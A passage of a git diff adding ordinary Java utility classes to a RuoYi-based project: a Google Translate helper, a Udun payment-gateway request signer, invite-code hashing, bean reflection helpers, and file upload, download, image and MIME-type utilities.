"Cebuano"); + LANGUAGE_MAP.put("ny", "Chichewa"); + LANGUAGE_MAP.put("zh_cn", "Chinese Simplified"); + LANGUAGE_MAP.put("zh_tw", "Chinese Traditional"); + LANGUAGE_MAP.put("co", "Corsican"); + LANGUAGE_MAP.put("hr", "Croatian"); + LANGUAGE_MAP.put("cs", "Czech"); + LANGUAGE_MAP.put("da", "Danish"); + LANGUAGE_MAP.put("nl", "Dutch"); + LANGUAGE_MAP.put("en", "English"); + LANGUAGE_MAP.put("eo", "Esperanto"); + LANGUAGE_MAP.put("et", "Estonian"); + LANGUAGE_MAP.put("tl", "Filipino"); + LANGUAGE_MAP.put("fi", "Finnish"); + LANGUAGE_MAP.put("fr", "French"); + LANGUAGE_MAP.put("fy", "Frisian"); + LANGUAGE_MAP.put("gl", "Galician"); + LANGUAGE_MAP.put("ka", "Georgian"); + LANGUAGE_MAP.put("de", "German"); + LANGUAGE_MAP.put("el", "Greek"); + LANGUAGE_MAP.put("gu", "Gujarati"); + LANGUAGE_MAP.put("ht", "Haitian Creole"); + LANGUAGE_MAP.put("ha", "Hausa"); + LANGUAGE_MAP.put("haw", "Hawaiian"); + LANGUAGE_MAP.put("iw", "Hebrew"); + LANGUAGE_MAP.put("hi", "Hindi"); + LANGUAGE_MAP.put("hmn", "Hmong"); + LANGUAGE_MAP.put("hu", "Hungarian"); + LANGUAGE_MAP.put("is", "Icelandic"); + LANGUAGE_MAP.put("ig", "Igbo"); + LANGUAGE_MAP.put("id", "Indonesian"); + LANGUAGE_MAP.put("ga", "Irish"); + LANGUAGE_MAP.put("it", "Italian"); + LANGUAGE_MAP.put("ja", "Japanese"); + LANGUAGE_MAP.put("jw", "Javanese"); + LANGUAGE_MAP.put("kn", "Kannada"); + LANGUAGE_MAP.put("kk", "Kazakh"); + LANGUAGE_MAP.put("km", "Khmer"); + LANGUAGE_MAP.put("ko", "Korean"); + LANGUAGE_MAP.put("ku", "Kurdish (Kurmanji)"); + LANGUAGE_MAP.put("ky", "Kyrgyz"); + LANGUAGE_MAP.put("lo", "Lao"); + LANGUAGE_MAP.put("la", "Latin"); + LANGUAGE_MAP.put("lv", "Latvian"); + LANGUAGE_MAP.put("lt", "Lithuanian"); + LANGUAGE_MAP.put("lb", "Luxembourgish"); + LANGUAGE_MAP.put("mk", "Macedonian"); + LANGUAGE_MAP.put("mg", "Malagasy"); + LANGUAGE_MAP.put("ms", "Malay"); + LANGUAGE_MAP.put("ml", "Malayalam"); + LANGUAGE_MAP.put("mt", "Maltese"); + LANGUAGE_MAP.put("mi", "Maori"); + LANGUAGE_MAP.put("mr", "Marathi"); + LANGUAGE_MAP.put("mn", "Mongolian"); + LANGUAGE_MAP.put("my", "Myanmar (Burmese)"); + LANGUAGE_MAP.put("ne", "Nepali"); + LANGUAGE_MAP.put("no", "Norwegian"); + LANGUAGE_MAP.put("ps", "Pashto"); + LANGUAGE_MAP.put("fa", "Persian"); + LANGUAGE_MAP.put("pl", "Polish"); + LANGUAGE_MAP.put("pt", "Portuguese"); + LANGUAGE_MAP.put("ma", "Punjabi"); + LANGUAGE_MAP.put("ro", "Romanian"); + LANGUAGE_MAP.put("ru", "Russian"); + LANGUAGE_MAP.put("sm", "Samoan"); + LANGUAGE_MAP.put("gd", "Scots Gaelic"); + LANGUAGE_MAP.put("sr", "Serbian"); + LANGUAGE_MAP.put("st", "Sesotho"); + LANGUAGE_MAP.put("sn", "Shona"); + LANGUAGE_MAP.put("sd", "Sindhi"); + LANGUAGE_MAP.put("si", "Sinhala"); + LANGUAGE_MAP.put("sk", "Slovak"); + LANGUAGE_MAP.put("sl", "Slovenian"); + LANGUAGE_MAP.put("so", "Somali"); + LANGUAGE_MAP.put("es", "Spanish"); + LANGUAGE_MAP.put("su", "Sundanese"); + LANGUAGE_MAP.put("sw", "Swahili"); + LANGUAGE_MAP.put("sv", "Swedish"); + LANGUAGE_MAP.put("tg", "Tajik"); + LANGUAGE_MAP.put("ta", "Tamil"); + LANGUAGE_MAP.put("te", "Telugu"); + LANGUAGE_MAP.put("th", "Thai"); + LANGUAGE_MAP.put("tr", "Turkish"); + LANGUAGE_MAP.put("uk", "Ukrainian"); + LANGUAGE_MAP.put("ur", "Urdu"); + LANGUAGE_MAP.put("uz", "Uzbek"); + LANGUAGE_MAP.put("vi", "Vietnamese"); + LANGUAGE_MAP.put("cy", "Welsh"); + LANGUAGE_MAP.put("xh", "Xhosa"); + LANGUAGE_MAP.put("yi", "Yiddish"); + LANGUAGE_MAP.put("yo", "Yoruba"); + LANGUAGE_MAP.put("zu", "Zulu"); + } + public static String translate(String langFrom, String langTo, String word) throws Exception { + + String url = + "https://translate.googleapis.com/translate_a/single?" + + "client=gtx" + + "&sl=" + langFrom + + "&tl=" + langTo + + "&dt=t&q=" + URLEncoder.encode(word, "UTF-8"); + + URL obj = new URL(url); + HttpURLConnection con = (HttpURLConnection) obj.openConnection(); + con.setRequestProperty("User-Agent", "Mozilla/5.0"); + + BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream())); + String inputLine; + StringBuffer response = new StringBuffer(); + + while ((inputLine = in.readLine()) != null) { + response.append(inputLine); + } + in.close(); + + return parseResult(response.toString()); + } + + private static String parseResult(String inputJson) throws Exception { + String result =""; + if(StringUtils.isNotBlank(inputJson)){ + JSONArray jsonArray = new JSONArray(inputJson); + Object o = jsonArray.get(0); + if(Objects.nonNull(o) && o instanceof JSONArray){ + JSONArray jsonArray2 = (JSONArray) o; + // JSONArray jsonArray3 = (JSONArray) jsonArray2.get(0); + for (int i = 0; i < jsonArray2.size(); i++) { + result += ((JSONArray) jsonArray2.get(i)).get(0).toString(); + } + } + } + return result; + } + + public static void main(String[] args) throws Exception { + String result = translate("zh-CN", "en","你是个猪吗"); + System.out.println(result); + } + + + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/UdunUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UdunUtils.java new file mode 100644 index 0000000..616ab5f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UdunUtils.java @@ -0,0 +1,51 @@ +package com.ruoyi.common.utils; + +import cn.hutool.core.util.RandomUtil; +import cn.hutool.crypto.SecureUtil; +import cn.hutool.http.HttpRequest; +import cn.hutool.http.HttpResponse; +import cn.hutool.json.JSONUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.util.HashMap; +import java.util.Map; + + +public class UdunUtils { + private static Logger logger = LoggerFactory.getLogger(UdunUtils.class); + + public static String post(String gateway, String merchantKey, String path, String body) { + String rawBody = parseParams(merchantKey, body); + logger.debug("HttpRequest POST {}",gateway+path); + logger.debug("BODY {}",rawBody); + HttpResponse response = HttpRequest.post(gateway + path) + .body(rawBody) + .execute(); + String resp = response.body(); + logger.debug("HttpResponse {}",resp); + return resp; + } + + public static String parseParams(String merchantKey, String body) { + Map params = new HashMap<>(); + String timestamp = System.currentTimeMillis() + ""; + String nonce = RandomUtil.randomString(6); + String sign = sign(merchantKey, timestamp, nonce, body); + params.put("timestamp", timestamp); + params.put("nonce", nonce); + params.put("sign", sign); + params.put("body", body); + return JSONUtil.toJsonStr(params); + } + + public static String sign(String key, String timestamp, String nonce, String body) { + String raw = body + key + nonce + timestamp; + return SecureUtil.md5(raw); + } + + public static boolean checkSign(String key, String timestamp, String nonce, String body, String sign) { + String checkSign = sign(key, timestamp, nonce, body); + return checkSign.equals(sign); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/UidUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UidUtils.java new file mode 100644 index 0000000..6a73470 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UidUtils.java @@ -0,0 +1,28 @@ +package com.ruoyi.common.utils; + +import org.hashids.Hashids; + +import java.util.UUID; + +public class UidUtils { + /** + * 获取uuid + * + * @param isConcise + * @return + */ + public static String getUUID(boolean isConcise) { + if (!isConcise) { + return UUID.randomUUID().toString(); + } + return UUID.randomUUID().toString().replaceAll("-", ""); + } + + public static String getInviteCode(Long userId) { + final String SALT = "E5FCDG3HQA4B1NOPIJ2RSTUV67MWX89KLYZ"; + final int MIN_HASH_LENGTH = 6; + Hashids hashids = new Hashids(SALT, MIN_HASH_LENGTH); + return hashids.encode(userId); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java new file mode 100644 index 0000000..4463662 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java @@ -0,0 +1,110 @@ +package com.ruoyi.common.utils.bean; + +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * Bean 工具类 + * + * @author ruoyi + */ +public class BeanUtils extends org.springframework.beans.BeanUtils +{ + /** Bean方法名中属性名开始的下标 */ + private static final int BEAN_METHOD_PROP_INDEX = 3; + + /** * 匹配getter方法的正则表达式 */ + private static final Pattern GET_PATTERN = Pattern.compile("get(\\p{javaUpperCase}\\w*)"); + + /** * 匹配setter方法的正则表达式 */ + private static final Pattern SET_PATTERN = Pattern.compile("set(\\p{javaUpperCase}\\w*)"); + + /** + * Bean属性复制工具方法。 + * + * @param dest 目标对象 + * @param src 源对象 + */ + public static void copyBeanProp(Object dest, Object src) + { + try + { + copyProperties(src, dest); + } + catch (Exception e) + { + e.printStackTrace(); + } + } + + /** + * 获取对象的setter方法。 + * + * @param obj 对象 + * @return 对象的setter方法列表 + */ + public static List getSetterMethods(Object obj) + { + // setter方法列表 + List setterMethods = new ArrayList(); + + // 获取所有方法 + Method[] methods = obj.getClass().getMethods(); + + // 查找setter方法 + + for (Method method : methods) + { + Matcher m = SET_PATTERN.matcher(method.getName()); + if (m.matches() && (method.getParameterTypes().length == 1)) + { + setterMethods.add(method); + } + } + // 返回setter方法列表 + return setterMethods; + } + + /** + * 获取对象的getter方法。 + * + * @param obj 对象 + * @return 对象的getter方法列表 + */ + + public static List getGetterMethods(Object obj) + { + // getter方法列表 + List getterMethods = new ArrayList(); + // 获取所有方法 + Method[] methods = obj.getClass().getMethods(); + // 查找getter方法 + for (Method method : methods) + { + Matcher m = GET_PATTERN.matcher(method.getName()); + if (m.matches() && (method.getParameterTypes().length == 0)) + { + getterMethods.add(method); + } + } + // 返回getter方法列表 + return getterMethods; + } + + /** + * 检查Bean方法名中的属性名是否相等。
+ * 如getName()和setName()属性名一样,getName()和setAge()属性名不一样。 + * + * @param m1 方法名1 + * @param m2 方法名2 + * @return 属性名一样返回true,否则返回false + */ + + public static boolean isMethodPropEquals(String m1, String m2) + { + return m1.substring(BEAN_METHOD_PROP_INDEX).equals(m2.substring(BEAN_METHOD_PROP_INDEX)); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanValidators.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanValidators.java new file mode 100644 index 0000000..80bfed7 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanValidators.java @@ -0,0 +1,24 @@ +package com.ruoyi.common.utils.bean; + +import java.util.Set; +import javax.validation.ConstraintViolation; +import javax.validation.ConstraintViolationException; +import javax.validation.Validator; + +/** + * bean对象属性验证 + * + * @author ruoyi + */ +public class BeanValidators +{ + public static void validateWithException(Validator validator, Object object, Class... groups) + throws ConstraintViolationException + { + Set> constraintViolations = validator.validate(object, groups); + if (!constraintViolations.isEmpty()) + { + throw new ConstraintViolationException(constraintViolations); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java new file mode 100644 index 0000000..68130b9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java @@ -0,0 +1,76 @@ +package com.ruoyi.common.utils.file; + +import java.io.File; +import org.apache.commons.lang3.StringUtils; + +/** + * 文件类型工具类 + * + * @author ruoyi + */ +public class FileTypeUtils +{ + /** + * 获取文件类型 + *

+ * 例如: ruoyi.txt, 返回: txt + * + * @param file 文件名 + * @return 后缀(不含".") + */ + public static String getFileType(File file) + { + if (null == file) + { + return StringUtils.EMPTY; + } + return getFileType(file.getName()); + } + + /** + * 获取文件类型 + *

+ * 例如: ruoyi.txt, 返回: txt + * + * @param fileName 文件名 + * @return 后缀(不含".") + */ + public static String getFileType(String fileName) + { + int separatorIndex = fileName.lastIndexOf("."); + if (separatorIndex < 0) + { + return ""; + } + return fileName.substring(separatorIndex + 1).toLowerCase(); + } + + /** + * 获取文件类型 + * + * @param photoByte 文件字节码 + * @return 后缀(不含".") + */ + public static String getFileExtendName(byte[] photoByte) + { + String strFileExtendName = "JPG"; + if ((photoByte[0] == 71) && (photoByte[1] == 73) && (photoByte[2] == 70) && (photoByte[3] == 56) + && ((photoByte[4] == 55) || (photoByte[4] == 57)) && (photoByte[5] == 97)) + { + strFileExtendName = "GIF"; + } + else if ((photoByte[6] == 74) && (photoByte[7] == 70) && (photoByte[8] == 73) && (photoByte[9] == 70)) + { + strFileExtendName = "JPG"; + } + else if ((photoByte[0] == 66) && (photoByte[1] == 77)) + { + strFileExtendName = "BMP"; + } + else if ((photoByte[1] == 80) && (photoByte[2] == 78) && (photoByte[3] == 71)) + { + strFileExtendName = "PNG"; + } + return strFileExtendName; + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java new file mode 100644 index 0000000..d9f2b13 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java @@ -0,0 +1,232 @@ +package com.ruoyi.common.utils.file; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Paths; +import java.util.Objects; +import org.apache.commons.io.FilenameUtils; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.exception.file.FileNameLengthLimitExceededException; +import com.ruoyi.common.exception.file.FileSizeLimitExceededException; +import com.ruoyi.common.exception.file.InvalidExtensionException; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.uuid.Seq; + +/** + * 文件上传工具类 + * + * @author ruoyi + */ +public class FileUploadUtils +{ + /** + * 默认大小 50M + */ + public static final long DEFAULT_MAX_SIZE = 50 * 1024 * 1024; + + /** + * 默认的文件名最大长度 100 + */ + public static final int DEFAULT_FILE_NAME_LENGTH = 100; + + /** + * 默认上传的地址 + */ + private static String defaultBaseDir = RuoYiConfig.getProfile(); + + public static void setDefaultBaseDir(String defaultBaseDir) + { + FileUploadUtils.defaultBaseDir = defaultBaseDir; + } + + public static String getDefaultBaseDir() + { + return defaultBaseDir; + } + + /** + * 以默认配置进行文件上传 + * + * @param file 上传的文件 + * @return 文件名称 + * @throws Exception + */ + public static final String upload(MultipartFile file) throws IOException + { + try + { + return upload(getDefaultBaseDir(), file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION); + } + catch (Exception e) + { + throw new IOException(e.getMessage(), e); + } + } + + /** + * 根据文件路径上传 + * + * @param baseDir 相对应用的基目录 + * @param file 上传的文件 + * @return 文件名称 + * @throws IOException + */ + public static final String upload(String baseDir, MultipartFile file) throws IOException + { + try + { + return upload(baseDir, file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION); + } + catch (Exception e) + { + throw new IOException(e.getMessage(), e); + } + } + + /** + * 文件上传 + * + * @param baseDir 相对应用的基目录 + * @param file 上传的文件 + * @param allowedExtension 上传文件类型 + * @return 返回上传成功的文件名 + * @throws FileSizeLimitExceededException 如果超出最大大小 + * @throws FileNameLengthLimitExceededException 文件名太长 + * @throws IOException 比如读写文件出错时 + * @throws InvalidExtensionException 文件校验异常 + */ + public static final String upload(String baseDir, MultipartFile file, String[] allowedExtension) + throws FileSizeLimitExceededException, IOException, FileNameLengthLimitExceededException, + InvalidExtensionException + { + int fileNamelength = Objects.requireNonNull(file.getOriginalFilename()).length(); + if (fileNamelength > FileUploadUtils.DEFAULT_FILE_NAME_LENGTH) + { + throw new FileNameLengthLimitExceededException(FileUploadUtils.DEFAULT_FILE_NAME_LENGTH); + } + + assertAllowed(file, allowedExtension); + + String fileName = extractFilename(file); + + String absPath = getAbsoluteFile(baseDir, fileName).getAbsolutePath(); + file.transferTo(Paths.get(absPath)); + return getPathFileName(baseDir, fileName); + } + + /** + * 编码文件名 + */ + public static final String extractFilename(MultipartFile file) + { + return StringUtils.format("{}/{}_{}.{}", DateUtils.datePath(), + FilenameUtils.getBaseName(file.getOriginalFilename()), Seq.getId(Seq.uploadSeqType), getExtension(file)); + } + + public static final File getAbsoluteFile(String uploadDir, String fileName) throws IOException + { + File desc = new File(uploadDir + File.separator + fileName); + + if (!desc.exists()) + { + if (!desc.getParentFile().exists()) + { + desc.getParentFile().mkdirs(); + } + } + return desc; + } + + public static final String getPathFileName(String uploadDir, String fileName) throws IOException + { + int dirLastIndex = RuoYiConfig.getProfile().length() + 1; + String currentDir = StringUtils.substring(uploadDir, dirLastIndex); + return Constants.RESOURCE_PREFIX + "/" + currentDir + "/" + fileName; + } + + /** + * 文件大小校验 + * + * @param file 上传的文件 + * @return + * @throws FileSizeLimitExceededException 如果超出最大大小 + * @throws InvalidExtensionException + */ + public static final void assertAllowed(MultipartFile file, String[] allowedExtension) + throws FileSizeLimitExceededException, InvalidExtensionException + { + long size = file.getSize(); + if (size > DEFAULT_MAX_SIZE) + { + throw new FileSizeLimitExceededException(DEFAULT_MAX_SIZE / 1024 / 1024); + } + + String fileName = file.getOriginalFilename(); + String extension = getExtension(file); + if (allowedExtension != null && !isAllowedExtension(extension, allowedExtension)) + { + if (allowedExtension == MimeTypeUtils.IMAGE_EXTENSION) + { + throw new InvalidExtensionException.InvalidImageExtensionException(allowedExtension, extension, + fileName); + } + else if (allowedExtension == MimeTypeUtils.FLASH_EXTENSION) + { + throw new InvalidExtensionException.InvalidFlashExtensionException(allowedExtension, extension, + fileName); + } + else if (allowedExtension == MimeTypeUtils.MEDIA_EXTENSION) + { + throw new InvalidExtensionException.InvalidMediaExtensionException(allowedExtension, extension, + fileName); + } + else if (allowedExtension == MimeTypeUtils.VIDEO_EXTENSION) + { + throw new InvalidExtensionException.InvalidVideoExtensionException(allowedExtension, extension, + fileName); + } + else + { + throw new InvalidExtensionException(allowedExtension, extension, fileName); + } + } + } + + /** + * 判断MIME类型是否是允许的MIME类型 + * + * @param extension + * @param allowedExtension + * @return + */ + public static final boolean isAllowedExtension(String extension, String[] allowedExtension) + { + for (String str : allowedExtension) + { + if (str.equalsIgnoreCase(extension)) + { + return true; + } + } + return false; + } + + /** + * 获取文件名的后缀 + * + * @param file 表单文件 + * @return 后缀名 + */ + public static final String getExtension(MultipartFile file) + { + String extension = FilenameUtils.getExtension(file.getOriginalFilename()); + if (StringUtils.isEmpty(extension)) + { + extension = MimeTypeUtils.getExtension(Objects.requireNonNull(file.getContentType())); + } + return extension; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java new file mode 100644 index 0000000..ed4cbc9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java @@ -0,0 +1,291 @@ +package com.ruoyi.common.utils.file; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.ArrayUtils; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.uuid.IdUtils; +import org.apache.commons.io.FilenameUtils; + +/** + * 文件处理工具类 + * + * @author ruoyi + */ +public class FileUtils +{ + public static String FILENAME_PATTERN = "[a-zA-Z0-9_\\-\\|\\.\\u4e00-\\u9fa5]+"; + + /** + * 输出指定文件的byte数组 + * + * @param filePath 文件路径 + * @param os 输出流 + * @return + */ + public static void writeBytes(String filePath, OutputStream os) throws IOException + { + FileInputStream fis = null; + try + { + File file = new File(filePath); + if (!file.exists()) + { + throw new FileNotFoundException(filePath); + } + fis = new FileInputStream(file); + byte[] b = new byte[1024]; + int length; + while ((length = fis.read(b)) > 0) + { + os.write(b, 0, length); + } + } + catch (IOException e) + { + throw e; + } + finally + { + IOUtils.close(os); + IOUtils.close(fis); + } + } + + /** + * 写数据到文件中 + * + * @param data 数据 + * @return 目标文件 + * @throws IOException IO异常 + */ + public static String writeImportBytes(byte[] data) throws IOException + { + return writeBytes(data, RuoYiConfig.getImportPath()); + } + + /** + * 写数据到文件中 + * + * @param data 数据 + * @param uploadDir 目标文件 + * @return 目标文件 + * @throws IOException IO异常 + */ + public static String writeBytes(byte[] data, String uploadDir) throws IOException + { + FileOutputStream fos = null; + String pathName = ""; + try + { + String extension = getFileExtendName(data); + pathName = DateUtils.datePath() + "/" + IdUtils.fastUUID() + "." + extension; + File file = FileUploadUtils.getAbsoluteFile(uploadDir, pathName); + fos = new FileOutputStream(file); + fos.write(data); + } + finally + { + IOUtils.close(fos); + } + return FileUploadUtils.getPathFileName(uploadDir, pathName); + } + + /** + * 删除文件 + * + * @param filePath 文件 + * @return + */ + public static boolean deleteFile(String filePath) + { + boolean flag = false; + File file = new File(filePath); + // 路径为文件且不为空则进行删除 + if (file.isFile() && file.exists()) + { + flag = file.delete(); + } + return flag; + } + + /** + * 文件名称验证 + * + * @param filename 文件名称 + * @return true 正常 false 非法 + */ + public static boolean isValidFilename(String filename) + { + return filename.matches(FILENAME_PATTERN); + } + + /** + * 检查文件是否可下载 + * + * @param resource 需要下载的文件 + * @return true 正常 false 非法 + */ + public static boolean checkAllowDownload(String resource) + { + // 禁止目录上跳级别 + if (StringUtils.contains(resource, "..")) + { + return false; + } + + // 检查允许下载的文件规则 + if (ArrayUtils.contains(MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION, FileTypeUtils.getFileType(resource))) + { + return true; + } + + // 不在允许下载的文件规则 + return false; + } + + /** + * 下载文件名重新编码 + * + * @param request 请求对象 + * @param fileName 文件名 + * @return 编码后的文件名 + */ + public static String setFileDownloadHeader(HttpServletRequest request, String fileName) throws UnsupportedEncodingException + { + final String agent = request.getHeader("USER-AGENT"); + String filename = fileName; + if (agent.contains("MSIE")) + { + // IE浏览器 + filename = URLEncoder.encode(filename, "utf-8"); + filename = filename.replace("+", " "); + } + else if (agent.contains("Firefox")) + { + // 火狐浏览器 + filename = new String(fileName.getBytes(), "ISO8859-1"); + } + else if (agent.contains("Chrome")) + { + // google浏览器 + filename = URLEncoder.encode(filename, "utf-8"); + } + else + { + // 其它浏览器 + filename = URLEncoder.encode(filename, "utf-8"); + } + return filename; + } + + /** + * 下载文件名重新编码 + * + * @param response 响应对象 + * @param realFileName 真实文件名 + */ + public static void setAttachmentResponseHeader(HttpServletResponse response, String realFileName) throws UnsupportedEncodingException + { + String percentEncodedFileName = percentEncode(realFileName); + + StringBuilder contentDispositionValue = new StringBuilder(); + contentDispositionValue.append("attachment; filename=") + .append(percentEncodedFileName) + .append(";") + .append("filename*=") + .append("utf-8''") + .append(percentEncodedFileName); + + response.addHeader("Access-Control-Expose-Headers", "Content-Disposition,download-filename"); + response.setHeader("Content-disposition", contentDispositionValue.toString()); + response.setHeader("download-filename", percentEncodedFileName); + } + + /** + * 百分号编码工具方法 + * + * @param s 需要百分号编码的字符串 + * @return 百分号编码后的字符串 + */ + public static String percentEncode(String s) throws UnsupportedEncodingException + { + String encode = URLEncoder.encode(s, StandardCharsets.UTF_8.toString()); + return encode.replaceAll("\\+", "%20"); + } + + /** + * 获取图像后缀 + * + * @param photoByte 图像数据 + * @return 后缀名 + */ + public static String getFileExtendName(byte[] photoByte) + { + String strFileExtendName = "jpg"; + if ((photoByte[0] == 71) && (photoByte[1] == 73) && (photoByte[2] == 70) && (photoByte[3] == 56) + && ((photoByte[4] == 55) || (photoByte[4] == 57)) && (photoByte[5] == 97)) + { + strFileExtendName = "gif"; + } + else if ((photoByte[6] == 74) && (photoByte[7] == 70) && (photoByte[8] == 73) && (photoByte[9] == 70)) + { + strFileExtendName = "jpg"; + } + else if ((photoByte[0] == 66) && (photoByte[1] == 77)) + { + strFileExtendName = "bmp"; + } + else if ((photoByte[1] == 80) && (photoByte[2] == 78) && (photoByte[3] == 71)) + { + strFileExtendName = "png"; + } + return strFileExtendName; + } + + /** + * 获取文件名称 /profile/upload/2022/04/16/ruoyi.png -- ruoyi.png + * + * @param fileName 路径名称 + * @return 没有文件路径的名称 + */ + public static String getName(String fileName) + { + if (fileName == null) + { + return null; + } + int lastUnixPos = fileName.lastIndexOf('/'); + int lastWindowsPos = fileName.lastIndexOf('\\'); + int index = Math.max(lastUnixPos, lastWindowsPos); + return fileName.substring(index + 1); + } + + /** + * 获取不带后缀文件名称 /profile/upload/2022/04/16/ruoyi.png -- ruoyi + * + * @param fileName 路径名称 + * @return 没有文件路径和后缀的名称 + */ + public static String getNameNotSuffix(String fileName) + { + if (fileName == null) + { + return null; + } + String baseName = FilenameUtils.getBaseName(fileName); + return baseName; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java new file mode 100644 index 0000000..432dfda --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java @@ -0,0 +1,98 @@ +package com.ruoyi.common.utils.file; + +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.InputStream; +import java.net.URL; +import java.net.URLConnection; +import java.util.Arrays; +import org.apache.poi.util.IOUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.StringUtils; + +/** + * 图片处理工具类 + * + * @author ruoyi + */ +public class ImageUtils +{ + private static final Logger log = LoggerFactory.getLogger(ImageUtils.class); + + public static byte[] getImage(String imagePath) + { + InputStream is = getFile(imagePath); + try + { + return IOUtils.toByteArray(is); + } + catch (Exception e) + { + log.error("图片加载异常 {}", e); + return null; + } + finally + { + IOUtils.closeQuietly(is); + } + } + + public static InputStream getFile(String imagePath) + { + try + { + byte[] result = readFile(imagePath); + result = Arrays.copyOf(result, result.length); + return new ByteArrayInputStream(result); + } + catch (Exception e) + { + log.error("获取图片异常 {}", e); + } + return null; + } + + /** + * 读取文件为字节数据 + * + * @param url 地址 + * @return 字节数据 + */ + public static byte[] readFile(String url) + { + InputStream in = null; + try + { + if (url.startsWith("http")) + { + // 网络地址 + URL urlObj = new URL(url); + URLConnection urlConnection = urlObj.openConnection(); + urlConnection.setConnectTimeout(30 * 1000); + urlConnection.setReadTimeout(60 * 1000); + urlConnection.setDoInput(true); + in = urlConnection.getInputStream(); + } + else + { + // 本机地址 + String localPath = RuoYiConfig.getProfile(); + String downloadPath = localPath + StringUtils.substringAfter(url, Constants.RESOURCE_PREFIX); + in = new FileInputStream(downloadPath); + } + return IOUtils.toByteArray(in); + } + catch (Exception e) + { + log.error("获取文件路径异常 {}", e); + return null; + } + finally + { + IOUtils.closeQuietly(in); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java new file mode 100644 index 0000000..f968f1a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java @@ -0,0 +1,59 @@ +package com.ruoyi.common.utils.file; + +/** + * 媒体类型工具类 + * + * @author ruoyi + */ +public class MimeTypeUtils +{ + public static final String IMAGE_PNG = "image/png"; + + public static final String IMAGE_JPG = "image/jpg"; + + public static final String IMAGE_JPEG = "image/jpeg"; + + public static final String IMAGE_BMP = "image/bmp"; + + public static final String IMAGE_GIF = "image/gif"; + + public static final String[] IMAGE_EXTENSION = { "bmp", "gif", "jpg", "jpeg", "png" }; + + public static final String[] FLASH_EXTENSION = { "swf", "flv" }; + + public static final String[] MEDIA_EXTENSION = { "swf", "flv", "mp3", "wav", "wma", "wmv", "mid", "avi", "mpg", + "asf", "rm", "rmvb" }; + + public static final String[] VIDEO_EXTENSION = { "mp4", "avi", "rmvb" }; + + public static final String[] DEFAULT_ALLOWED_EXTENSION = { + // 图片 + "bmp", "gif", "jpg", "jpeg", "png", + // word excel powerpoint + "doc", "docx", "xls", "xlsx", "ppt", "pptx", "html", "htm", "txt", + // 压缩文件 + "rar", "zip", "gz", "bz2", + // 视频格式 + "mp4", "avi", "rmvb", + // pdf + "pdf" }; + + public static String getExtension(String prefix) + { + switch (prefix) + { + case IMAGE_PNG: + return "png"; + case IMAGE_JPG: + return "jpg"; + case IMAGE_JPEG: + return "jpeg"; + case IMAGE_BMP: + return "bmp"; + case IMAGE_GIF: + return "gif"; + default: + return ""; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java new file mode 100644 index 0000000..f52e83e --- /dev/null +++ 